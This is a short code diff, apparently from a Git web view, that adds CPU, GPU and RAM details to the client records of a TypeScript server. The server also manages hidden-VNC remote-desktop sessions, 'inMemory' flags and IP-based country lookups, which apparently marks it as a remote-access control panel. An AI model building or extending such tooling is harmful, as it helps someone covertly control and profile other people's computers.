const session: RemoteDesktopViewer = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() };
|
||||||
sessionManager.addHvncSession(session);
|
sessionManager.addHvncSession(session);
|
||||||
|
|||||||
@@ -25,6 +25,9 @@ export type ClientInfo = {
|
|||||||
country?: string;
|
country?: string;
|
||||||
pingMs?: number;
|
pingMs?: number;
|
||||||
inMemory?: boolean;
|
inMemory?: boolean;
|
||||||
|
cpu?: string;
|
||||||
|
gpu?: string;
|
||||||
|
ram?: string;
|
||||||
enrollmentStatus?: EnrollmentStatus;
|
enrollmentStatus?: EnrollmentStatus;
|
||||||
publicKey?: string;
|
publicKey?: string;
|
||||||
keyFingerprint?: string;
|
keyFingerprint?: string;
|
||||||
|
|||||||
@@ -89,6 +89,9 @@ export function handleHello(
|
|||||||
info.monitors = payload.monitors;
|
info.monitors = payload.monitors;
|
||||||
info.monitorInfo = (payload as any).monitorInfo || info.monitorInfo;
|
info.monitorInfo = (payload as any).monitorInfo || info.monitorInfo;
|
||||||
info.inMemory = !!(payload as any).inMemory;
|
info.inMemory = !!(payload as any).inMemory;
|
||||||
|
info.cpu = (payload as any).cpu || info.cpu;
|
||||||
|
info.gpu = (payload as any).gpu || info.gpu;
|
||||||
|
info.ram = (payload as any).ram || info.ram;
|
||||||
const geo = ip ? geoip.lookup(ip) : undefined;
|
const geo = ip ? geoip.lookup(ip) : undefined;
|
||||||
const countryRaw =
|
const countryRaw =
|
||||||
geo?.country || (payload as any).country || info.country || "ZZ";
|
geo?.country || (payload as any).country || info.country || "ZZ";
|
||||||
@@ -111,6 +114,9 @@ export function handleHello(
|
|||||||
user: info.user,
|
user: info.user,
|
||||||
monitors: info.monitors,
|
monitors: info.monitors,
|
||||||
country: info.country,
|
country: info.country,
|
||||||
|
cpu: info.cpu,
|
||||||
|
gpu: info.gpu,
|
||||||
|
ram: info.ram,
|
||||||
lastSeen: info.lastSeen,
|
lastSeen: info.lastSeen,
|
||||||
online: 1,
|
online: 1,
|
||||||
});
|
});
|
||||||
|
|||||||
Reference in New Issue
Block a user